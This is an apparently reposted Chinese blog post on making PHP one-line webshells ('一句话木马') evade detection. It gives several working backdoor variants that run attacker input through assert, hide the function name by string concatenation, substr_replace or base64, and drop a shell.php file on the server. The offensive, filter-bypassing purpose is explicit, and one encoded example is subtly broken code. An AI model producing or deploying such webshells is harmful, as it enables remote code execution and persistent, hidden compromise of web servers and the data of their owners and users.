当前位置: 首页 > news >正文

php一句话木马免杀

php一句话木马免杀

针对于php一句话木马做免杀:

利用php动态函数的特性,将危险函数拆分成字符,最终使用字符串拼接的方式,然后重新拼接,后加括号执行代码,并且可以使用花指令进行包装,如无限if(1=1)套接,以此来做伪装绕过,达成免杀

assert()

如果过滤eval()函数时,可以考虑尝试assert()函数

assert() 会将字符串当做PHP 代码来执行

  • assert() 只能执行单条PHP 语句。
  • assert() 是一个函数,可以动态调用。
  • 高版本PHP 中,assert() 被弃用

此时一句话木马即可构造为

<?php @assert($_REQUEST['cmd']); ?>

字符拼接函数

当eval和assert都被过滤时,即可考虑将函数拆分重组

例如

<?php$a="a"."s";$b="s"."e";$c="rt";$d=$a.$b.$c;$d($_REQUEST['cmd']);
?>

可正常执行

image-20231121112923882

编码加密后也可连接

image-20231121113137026

php函数替换拼接

可以使用php函数来进行字符串的替换拼接

substr_replace() 函数是 PHP 中用于替换字符串中的一部分内容的函数

使用方法:

string substr_replace ( string $string , string $replacement , int $start [, int $length ] )

参数说明:

  • $string:原始字符串。
  • $replacement:替换的字符串。
  • $start:替换的起始位置。
  • $length:可选参数,指定要替换的长度。如果未指定,则替换从起始位置开始一直到字符串末尾的部分

示例

<?php$a=substr_replace("asxxxx","se",2);$b=substr_replace($a,"rt",4);@$b($_REQUEST['cmd']);
?>

同上可执行可连接

定义函数包裹

使用定义函数,将危险函数放进函数中,替代调用

<?phpfunction asrt1($a){assert($a);}@asrt1($_REQUEST['cmd']);
?>

GPC替换

当request被过滤时,尝试使用GET或者POST

当然该参数也可以使用字符串拼接等方式组合

加密

例如使用base64加密

<?php$a=base_decode(YXNzZXJ0/ZXZhbA==);$b=$a(base64_decode($_REQUEST['cmd']));
?>

生成一句话马文件

<?php file_put_contents('shell.php','<?php @assert($_REQUEST);?>')?>

同理,如果该函数中出现过滤,则可考虑使用上述的拼接替换字符

http://www.lryc.cn/news/239082.html

相关文章:

  • 深度学习人体跌倒检测 -yolo 机器视觉 opencv python 计算机竞赛
  • 轻松整理文件夹,将视频文件全部归类到另一个文件夹!
  • 存储服务器特征是什么
  • Conditional GAN
  • OOM问题排查+Jvm优化
  • 链表:C++实现
  • 使用JMX监控ZooKeeper和Kafka
  • 蓝桥等考C++组别七级008
  • sam和mobilesam导出预处理的onnx
  • 开源与闭源:大模型发展的双重走向
  • c# 逆变 / 协变
  • electron使用better-sqlite3打包失败(electron打包有进程没有界面)
  • 2.6文件服务器
  • 【C++ 学习 ㊴】- 详解 C++ 的 I/O 流
  • js算法面试题(附答案)
  • 2023 年戴森设计大奖得主是谁?给大楼降温、争取救援机会
  • 〖大前端 - 基础入门三大核心之JS篇㊲〗- DOM改变元素节点的css样式、HTML属性
  • 【word技巧】Word制作试卷,ABCD选项如何对齐?
  • OpenHarmony 4.1计划明年Q1发布, 5.0预计Q3发布
  • 蓝桥等考C++组别八级002
  • 秋招JAVA面经总结
  • Postgresql源码(116)提升子查询案例分析
  • CNP实现应用CD部署
  • kubeadm join 192.168.10.16:6443 --token xxx报错Failed to request cluster-info
  • 车载以太网-传输层-TCP
  • java:简单入门定时任务的几种方式Timer、Quartz、Spring Task
  • 木子-前端-方法标签属性小记(普通jsp/html篇)2023~2024
  • 音视频项目—基于FFmpeg和SDL的音视频播放器解析(十七)
  • 使用netty实现WebSocket协议通信
  • uniapp开发小程序,包过大解决方案